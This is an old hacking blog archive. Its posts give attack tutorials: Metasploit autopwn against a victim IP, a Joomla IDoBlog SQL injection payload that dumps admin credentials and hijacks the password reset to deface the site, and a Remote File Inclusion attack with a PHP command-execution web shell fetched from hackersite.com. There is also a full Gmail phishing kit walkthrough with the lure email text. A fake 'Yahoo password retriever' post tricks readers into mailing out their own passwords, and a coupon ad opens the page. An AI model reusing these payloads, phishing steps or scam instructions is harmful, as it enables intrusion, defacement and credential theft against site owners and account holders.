Showing posts with label hacking methods. Show all posts
Showing posts with label hacking methods. Show all posts

Friday, July 1, 2011

Free Google Adworz coupon 105$

if you know what Google AdWords is, then you probably know that they have coupons or maybe you’ve got one in the mail or been offered one, but didn’t know what to do next.
Let’s say that you are a really great _______(fill in the blank with your profession) and you have no interest in marketing or using a computer to design ads, place them strategically, make the perfect landing page and outbid others in doing the same thing. Well, most _​_​_​_​_​_​_​s don’t know how to do this because it’s a completely unrelated discipline to doing what _​_​_​_​_​_​_​s do. Even if you were to get a degree in Business Management, they don’t teach this stuff because it changes so quickly that by the time the class is over, a whole new chapter would need to be written in the textbook.
But, there are people who know a lot about technology, software and marketing and also coaching and training. This person would be able to do the work for you and then teach you how to do it yourself. That’s MeshMarketer. We will do it for you. I’ve done it with fantastic success in saving lots of money for other companies when they were spending too much and also helping them to increase their overall traffic to their site. References available upon request.
So, if you’ve ever thought about starting up with Google AdWords to reach new customers, this is a great way to do it. However, I do feel it’s important to warn you in advance that the coupon may be $100, but you often need to spend up to $200 altogether to really get a fair sense of how your campaign actually works and whether or not it’s a good idea to continue with it. Also, it’s never a good practice to think you need to be at the top of paid search; it only means that you outbid everyone else. When you are able to pay a low cost per click, have a Quality Score of 10 AND be at the top, then you know you are doing it right and it’s then great to enjoy the space at the top; unless you are the only provider of a product or service, you can expect to pay your way to the top unless you are smart and simply work on being between #2 and #3 and focusing on your Quality Score (7 is just fine; 8 and 9 rarely exist).
As you can tell, there’s probably much more to this than you know. You can read my ebook (for free if you subscribe to my mailing list) and learn all that there is to know and then from there you can hire me to do the work to get you started.

Tuesday, June 28, 2011

Hacking with Nmap and Metasploit

Today I am writing a tutorial on hacking with Nmap with Metasploit.

First d/l Metasploit 3.3 from the official website,Link:

metasploit.com

Let all that install, and towards the end of the installation it will ask if you would like Nmap installed also, choose yes. Once you have that installed the Metasploit screen will open up as shown below...



Now type db_create

Once you have typed that type nmap

This loads nmap, as shown below....



You need to configure your scan now, I usually do a simple -sT -sV scan which will tell us the open ports and services running on the victims computer, Now type nmap -sT -sV xxx.xxx.xxx.x (X's being victims Ip number), Demonstrated below.

[Image: 11-1.gif]

Now give it 5 minutes to complete the scan,Once that is complete if your lucky you should get a response like this...



This is basically a list of the open ports and services running on the target machine, Now the handy feature of the metasploit 3.3 framework is the autopwn feature, this basically searches and runs all matching exploits in the Metasploit database against the target machine and if successful will create a shell or similar privilege for the attacker.

Now once you have the nmap results delivered back to you showing the open ports and services type db_autopwn -p -t -e , From this point you will either have access to the victims computer through a successfully launched exploit or you will get a response saying the machine wasn't vulnerable to any of the exploits in the Metasploit database. Unfortunately on this particular machine I found it wasn't vulnerable as the image below proves.Good luck.

[Image: ff.gif]

[Video Tut]Lockal Password Cracking[Noob Friendly]

[Video Tut]Lockal Password Cracking[Noob Friendly]


Thursday, March 17, 2011

How to hack Joomla!

Level: NFN (Not For Noobs)

Tools required:
SQL-i Knowledge
reiluke SQLiHelper 2.7
Joomla! Query Knowledge


DISCLAIMER:
THIS TUTORIAL IS FOR EDUCATION PURPOSE ONLY!!! YOU MAY NOT READ THIS TUTORIAL IF YOU DON'T UNDERSTAND AND AGREE TO THIS DISCLAIMER. ME AS AUTHOR OF THIS TUTORIAL NOT BE HELD RESPONSIBLE FOR THE MISUSE OF THE INFORMATION CONTAINED WITHIN THIS TUTORIAL. IF YOU ABUSE THIS TUTORIAL FOR ILLEGAL PURPOSES I WILL NOT BE HELD RESPONSIBLE FOR ANY ACTION THAT MAY BE TAKEN AGAINST YOU AS A RESULT OF YOUR MISUSE.


NOTE:
USE ANONYMOUS PROXY!!!


Introduction


Joomla! as Stable-Full Package is probably unhackable and If someone tells that HACKED Joomla, talking rubbish!!!
But people still hacked sites that use Joomla as Content Management System?!?
Joomla is made of components and modules and there are some developers apart from official team that offer their solutions to improve Joomla. That components and modules mede by that other developers are weak spots!


I hacked site that use Joomla! v1.5.6 and after that v1.5.9 through IDoBlog v1.1, but I can't tell that I hacked Joomla!


Finding Exploit And Target


Those two steps could go in different order, depend what you find first target or exploit...


Google dork: inurl:"option=com_idoblog"
Comes up with results for about 140,000 pages





At inj3ct0r.com search for: com_idoblog
Give us back Joomla Component idoblog 1.1b30 (com_idoblog) SQL Injection Vuln





==
Joomla Component idoblog 1.1b30 (com_idoblog) SQL Injection Vuln
==


index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,​11,12,13,14,15,16+from+jos_users--


Exploit can be separated in two parts:


Part I
index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62
This part opening blog Admin page and if Admin page don't exist, exploit won't worked (not completely confirmed)


Part II
+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,1​5,16+from+jos_users--
This part looking for username and password from jos_users table


Testing Vulnerability


Disable images for faster page loading:
[Firefox]
Tools >> Options >> Content (tab menu) >> and unclick 'Load images automatically'


Go to:
Code:
http://www.site.com/index.php?option=com_idoblog&view=idoblog&Itemid=22Site load normally...


Go to:
Code:
http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62Site content blog Profile Admin


Go to:
Code:
http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1--Site is vulnerable


Inject Target


Open reiluke SQLiHelper 2.7
In Target copy
Code:
http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62and click on Inject
Follow standard steps until you find Column Name, as a result we have





Notice that exploit from inj3ct0r wouldn't work here because it looking for jos_users table and as you can see
our target use jos153_users table for storing data


Let Dump username, email, password from Column Name jos153_users. Click on Dump Now





username: admin
email: info@site.com
password: 169fad83bb2ac775bbaef4938d504f4e:mlqMfY0Vc9KLxPk056eewFWM13vEThJI


Joomla! 1.5.x uses md5 to hash the passwords. When the passwords are created, they are hashed with a
32 character salt that is appended to the end of the password string. The password is stored as
{TOTAL HASH}:{ORIGINAL SALT}. So to hack that password take time and time...


The easiest way to hack is to reset Admin password!


Admin Password Reset


Go to:
Code:
http://www.site.com/index.php?option=com_user&view=resetThis is standard Joomla! query for password reset request





Forgot your Password? page will load.
In E-mail Address: enter admin email (in our case it is:info@site.com) and press Submit.
If you find right admin email, Confirm your account. page will load, asking for Token:


Finding Token


To find token go back to reiluke SQLiHelper 2.7 and dump username and activation from Column Name jos153_users





username: admin
activation: 5482dd177624761a290224270fa55f1d


5482dd177624761a290224270fa55f1d is 32 char verification token, enter it and pres Submit.





If you done everything ok, Rest your Password page will load. Enter your new password...


After that go to:
Code:
http://www.site.com/administrator/Standard Joomla portal content management system


Enter username admin and your password, click on Login
Go to Extensions >> Template Manager >> Default Template Name >> Edit HTML
In Template HTML Editor insert your defaced code, click Apply, Save and you are done!!!





To make admin life more miserable, click on admin in main Joomla window and in User Details page change admin E-mail

Tuesday, February 15, 2011

A simple tutorial on Remote File Inclusion (RFI)

RFI stands for Remote File Inclusion, and it allows the attacker to upload a custom coded/malicious file on a website or server using a script. The vulnerability  exploit the poor validation checks in websites and can eventually lead to code execution on server or code execution on website (XSS attack using javascript). This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of tutorial, i suppose you will know what it is all about and may be able to deploy an attack or two.
RFI is a common vulnerability, and trust me all website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and do almost anything (including gagging them out or beg..well that's an exaggeration but I guess you get the idea :P ) . What makes it more dangerous is that you only need to have your common sense and basic knowledge of PHP to execute this one, some BASH might come handy as most of servers today are hosted on Linux..
Okay..Lets start..The first step is to find vulnerable site..you can easily find them using Google dorks..If you don't have any idea, you might want to read about advanced password hacking using Google dorks or to use automated tool to apply Google dorks using Google. Now lets assume we have found a vulnerable website

http://victimsite.com/index.php?page=home
As you can see, this website pulls documents stored in text format from server and renders them as web pages. We can find ways around it as it uses PHP include function to pull them out..check it out.
http://victimsite.com/index.php?page=http://hackersite.com/evilscript.txt
I have included a custom script “eveilscript” in text format from my website, which contains some code..Now..if its a vulnerable website, then 3 cases happen -
  • Case 1 - You might have noticed that the url consisted of “”page=home” had no extension, but I have included an extension in my url,hence the site may give an error like “failure to include evilscript.txt.txt”, this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
  • Case 2 - In case, it automatically appends something in the lines of .php then we have to use a null byte “” in order to avoid error.
  • Case 3 – successfull execution :)
Now once you have battled around this one, you might want to learn what to code inside the script. You may get a custom coded infamous C99 script (too bloaty but highly effective once deployed) or you might code yourself a new one. For this knowledge of PHP might come in handy. Here we go

echo " ";
echo "Run command: ".htmlspecialchars($_GET['cmd']);

system($_GET['cmd']);

?>
The above code allows you to exploit include function and tests if the site if RFI (XSS) vulnerable by running the alert box code and if successful, you can send custom commands to the linux server in bash. So…If you are in luck and if it worked, lets try our hands on some Linux commands. For example to find the current working directory of server and then to list files, we will be using “pwd” and “ls” commands.

http//victimsite.com/index.php?cmd=pwd&page=http://hackersite.com/ourscript
http//victimsite.com/index.php?cmd=ls&page=http://hackersite.com/ourscript
What it does is that it sends the command as cmd we put in our script, and begins print the working directory and list the documents..Even better..you can almost make the page proclaim that you hacked it by using the “echo” command..

cmd=echo U r pwn3d by xero> index.php
It will then re-write the index.php and render it..In case,its a primitive website which stores pages with .txt extension, you might want to put it with along the .txt files.Now..as expected..We are now the alpha and the omega of the website :) we can download, remove, rename, anything! Want to download stuff ? try the “wget” function (cmd=wget.. get the idea..)..Want to move it out ? “mv”..
I leave the rest on your creativity..

GmaiL hacking

Hello Friends, Let's start this tutorial with some quotes " If you follow the Universe, the Universe will spoil you,So always make your own ways, let's other follow it and spoil themselves."

Today i will explain you How to hack Gmail account step by step. In my previous article i have explained you the basic technique involved in hacking Gmail account or password but not explained that in extended way but today i will disclose you how the hackers really hack the gmail account or gmail password using fake pages or simply called Phish pages and the technique involved is called Phising.

NOTE: THIS IS FOR EDUCATIONAL PURPOSES ONLY. DON'T MISUSE IT.



Things that we will need:
1. Phish pages for Gmail Website.
2. A Free web hosting server to upload these fake pages.

3. An Email account for sending mails. ( create one fake email account for this as your account can be banned for doing such things).

4. HTML format mail that has to be sent to user ( you can post your email ID's below if you need the original version of this HTML mail. And please don't put your credentials in reply of this message).

Note: By using this hack i have hacked more than 5000+ accounts of gmail, yahoo, facebook, hotmail etc...As Hacking is my passion and i love to do it for fun. But friends i never misused this and hope that you will also not do that. As this tutorial is for Educational purposes and i and isoftdl.com is not responsible if you have misused it.



Now friends first all you should know what is phishing and how it is done..


What is Phishing?
Phishing is a technique to hack passwords of any user by using phish pages. Now what are phish pages, in general, phish pages are the fake pages that look likes the same web page the only difference lies in the METHOD and ACTION codes. In original webpage you are directed to database to that website but in fake pages you are directed to program that writes the log file that consist of username and password of the user. In fake page method function directs you to a php program that writes the log and simultaneously it redirects to original website and copy the username in the username column of original website and it shows that you have entered a wrong password and when you enter the password again then you are entered into the original website. So the user will never know that his account has been hacked, he will only think that he has entered wrong password. So isn't its a good trick.


STEP BY STEP GUIDE TO HACK GMAIL ACCOUNT

1. Download the phish pages ( fake pages for Gmail).Click here to download

2. Now Extract the folder . After extracting you will get two folders namely:

  a. Gmail.com ( For all countries)   b. Gmail.de    (For Germany users)


3. Now open the Gmail.com folder. In this folder you will see three files namely:

  a. gmail.html   b. mail.php   c. log.txt
Gmail.html is the phish page that looks like original Gmail page, when user enters his credentials i.e. username and password, then it will be redirected to write.php file which will write username and password to log file and simultaneously redirect the user to original website, that will show you have entered wrong password.



4. Now Create a fake Gmail account for sending mails and creating account on free web hosting server.

How to create Gmail account without Phone verification?

Its pity simple to create Gmail account without Phone verification. At the time when you create new account, when you choose email ID (i.e. username ), choose it as much as unique or absurd that you can. Now create the account , gmail will not ask you for phone verification.



5. Now when you have created the fake account for testing this hack, you have to configure this email account setting. Login to fake Gmail account and click on settings. Then go to Accounts and Import and then in front of Send Email as  you will see edit info as shown in below snapshot.


hack gmail

 6. Now You have to create account on free Web Hosting website. The website that i will use to explain is         www.t35.com. When you open the website there you will see a button "START UR WEBSITE" click on that. Now you will see new page there enter the credentials and create account. Then go to your fake email address and validate the account.


7. Now login into your account in t35.com and Now click on New Directory as shown below:


hack gmail id


Then do as shown in this snapshot:


hack gmail account password


After confirming go back to main directory as shown:


How to hack gmail account




Now double click on Gmail folder on t35.com that we have created in previous step. Now you will be inside the Gmail Directory. Then click on Upload button as shown is figure:


hack gmail password


Now after confirming the files upload go back to main Gmail directory. Now there you will see three files and click on the open  in front of gmail.html file as shown below:


working gmail id hack


Now you will see the something awesome below:


how gmail hack works


8. Now we have created the fake page but its detectable. Let's make it more undetectable. For that go to the following website and copy the link in the URL box and Click on Next. As shown below:


gmail hacking software


Now after that enter domain name her like gmailvalidation.tk or gmail verify.tk or anything similar to that as shown...





Now click Below to confirm as shown:

how gmail hack works

Now open the sample website you will see :(Click here)

9. Now Creation Part is over, now we have our link that we will send to the user. Now How we will send it to user. Open your fake email account that you have created in step 5 and step 6. Click on Compose mail and In Subject Enter "Notice: Please Verify your Gmail Account" ( without quotes).
And in body write something like that we have seen illegal activity from your account. please verify your account within three days other we have to lock your email account. For verifying visit here www.gmail.com and hyperlink link your fake mail address and send it to user.
 If you want to get the Original Mail, post your Email ID below in comment. I will mail you the original mail directly to your email. We can't disclose it directly on website.

10. Now just wait one day or few hours till user enters his credentials.(depends how fast the user reacts to the email). Once the user logs in to his Gmail account using your Phisher, his user ID and password are ours..And these are stored in log.txt What you have to do is just refresh your Web hosting account files. 

how to hack gmail accounts

11. The Log.txt file will contain the passwords and look like this:

gmail passowrd hacking
 

Thats all Now you have hacked the password of victim. I hope you all have Liked It.

There are other tricks to hack email accounts for this
Click Here.


How to Protect Your Gmail Account From Phisher??
1. Always check the URL in the address bar before entering username and password.
2. Never follow any link from your email and any website until u have confirmed the Address bar URL.
3. Never Follow spam mails and "Win lottery or Cash" mails.

Sunday, February 6, 2011

RapidShare Premium accounts

Latest Free Rapidshare Premium Account & Hacks

http://rapidfreeaccounts.blogspot.com/

* CryptLoad Rapidshare+ Megaupload Download

* Download Directly From Rapidshare

* Easy Rapidshare Points 4.0

* Easy Rapidshare Points v3.0

* Free Rapidshare Premium Account

* Link Alive 2.0

* Make Ur Own Free Rapidshare Account

* Official Rapidshare Manage

* RapidSearch Beta v0.2

* RapidShare Database Searcher

* RapidShare GetPoints 2

* Rapidshare Grabber 1.4.8

* RapidShare Inspector v.0.9.

* Rapidshare Leecher 2007

* Rapidshare limit bypasser

* RapidShare Link Grabber v1.4.8

* Rapidshare Premium Link Generator's

* Rapidshare Solution Hack (2008)

* Rapidshare Tools 2008 Collection

* Rapidshare Ultimate Leecher 2007

* Rapidshare Ultimate Tools 2007

* Rs Logins I Found Online

* RS Utilities





Free Rapidshare Cracks, Hacks, Premium, Accounts, Account, Code, Login Details, Instant, Downloads, Downloader, Link, Generators, Generator, Rs, Links, Maker, Unlimited, Id, Pass, No Wait, PTC, Surveys, Softwares, Files, Logins,Earn Money, Etc

How to HAcK YaHoO!!!

How to hack Yahoo account

RE: How I Hack Hotmail & Yahoo Account
Hack yahoo, rediff, gmail & aol password
STEP 1- Log in to your own yahoo account. Note: Your
account must be at
least 30 days old for this to work.
STEP 2- Once you have logged into your own account,
compose/write an e-mail
to: psswrdreteriever@yahoo.com
This is a mailing
address to the Yahoo
Staff. The automated server will send you the password
that you have
'forgotten', after receiving the information you send
them.
STEP 3- In the subject line type exactly: " PASSWORD
RECOVERY "
STEP 4- On the first line of your mail write the email
address of the person
you are hacking.
STEP 5- On the second line type in the e-mail address
you are using.
STEP 6- On the third line type password of your
email address (your
OWN password). The computer needs your password so it
can send a JavaScript
from your account in the Yahoo Server to extract the
other email addresses
password. In other word the system automatically
checks your password to
confirm the integrity of your status.
The process will be done automatically by the user
administration server. STEP 7- The final step before
sending the mail is,
type on the fourth line the following code exactly:
cgi-bin_psswrdreteriever/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start? v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.}
The password of the target id which u wana to hack sent to your mail address approximately 1 day from system reg.